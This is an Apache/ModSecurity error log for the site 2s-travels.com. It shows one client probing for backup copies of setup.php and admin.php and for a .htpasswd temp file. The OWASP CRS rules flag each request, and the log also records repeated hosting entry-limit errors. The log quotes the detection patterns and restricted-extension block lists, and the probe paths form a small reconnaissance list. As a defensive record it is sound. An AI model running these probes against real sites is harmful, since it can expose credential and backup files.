[Fri Jul 17 08:55:22.857080 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/setup.php~"] [unique_id "almgoroj0IkvhSCYadmBxwAAAAQ"]
[Fri Jul 17 08:55:22.857868 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/setup.php~"] [unique_id "almgoroj0IkvhSCYadmBxwAAAAQ"]
[Fri Jul 17 08:55:22.858064 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.858282 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoroj0IkvhSCYadmBxwAAAAQ"]
[Fri Jul 17 08:55:22.863957 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/setup.php.old"] [unique_id "almgoivekYYQ8uns4MwlgAAAAA0"]
[Fri Jul 17 08:55:22.864483 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/setup.php.old"] [unique_id "almgoivekYYQ8uns4MwlgAAAAA0"]
[Fri Jul 17 08:55:22.864600 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.864783 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoivekYYQ8uns4MwlgAAAAA0"]
[Fri Jul 17 08:55:22.873313 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/setup.php.bak"] [unique_id "almgoqquHSHoCJK_V0SBagAAABs"]
[Fri Jul 17 08:55:22.873821 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/setup.php.bak"] [unique_id "almgoqquHSHoCJK_V0SBagAAABs"]
[Fri Jul 17 08:55:22.873934 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.874081 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoqquHSHoCJK_V0SBagAAABs"]
[Fri Jul 17 08:55:22.877742 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.891032 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/setup.php.backup"] [unique_id "almgoobYoYGvYnmnM82CSAAAAAs"]
[Fri Jul 17 08:55:22.891468 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/setup.php.backup"] [unique_id "almgoobYoYGvYnmnM82CSAAAAAs"]
[Fri Jul 17 08:55:22.891506 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.891569 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.891701 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoobYoYGvYnmnM82CSAAAAAs"]
[Fri Jul 17 08:55:22.892684 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/setup.php.swp"] [unique_id "almgol1_86A5R6msWNfUeAAAABI"]
[Fri Jul 17 08:55:22.893140 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/setup.php.swp"] [unique_id "almgol1_86A5R6msWNfUeAAAABI"]
[Fri Jul 17 08:55:22.893232 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.893232 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.893362 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgol1_86A5R6msWNfUeAAAABI"]
[Fri Jul 17 08:55:22.895070 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.896260 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.904595 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.915019 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/admin.php.bak"] [unique_id "almgohJ0z2bEtnOrIXVASwAAAAk"]
[Fri Jul 17 08:55:22.915555 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/admin.php.bak"] [unique_id "almgohJ0z2bEtnOrIXVASwAAAAk"]
[Fri Jul 17 08:55:22.915783 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.915953 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgohJ0z2bEtnOrIXVASwAAAAk"]
[Fri Jul 17 08:55:22.921274 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/admin.php~"] [unique_id "almgog5GPQ6hs4VrfMpBnwAAAAY"]
[Fri Jul 17 08:55:22.921446 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.921811 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/admin.php~"] [unique_id "almgog5GPQ6hs4VrfMpBnwAAAAY"]
[Fri Jul 17 08:55:22.921924 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.922071 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgog5GPQ6hs4VrfMpBnwAAAAY"]
[Fri Jul 17 08:55:22.927907 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:22.941311 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/admin.php.old"] [unique_id "almgoivekYYQ8uns4MwlgQAAAA0"]
[Fri Jul 17 08:55:22.941908 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/admin.php.old"] [unique_id "almgoivekYYQ8uns4MwlgQAAAA0"]
[Fri Jul 17 08:55:22.942043 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.969647 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.tmp"] [unique_id "almgooZvbo7N5o5zeYC-hgAAABw"]
[Fri Jul 17 08:55:22.969983 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.tmp"] [unique_id "almgooZvbo7N5o5zeYC-hgAAABw"]
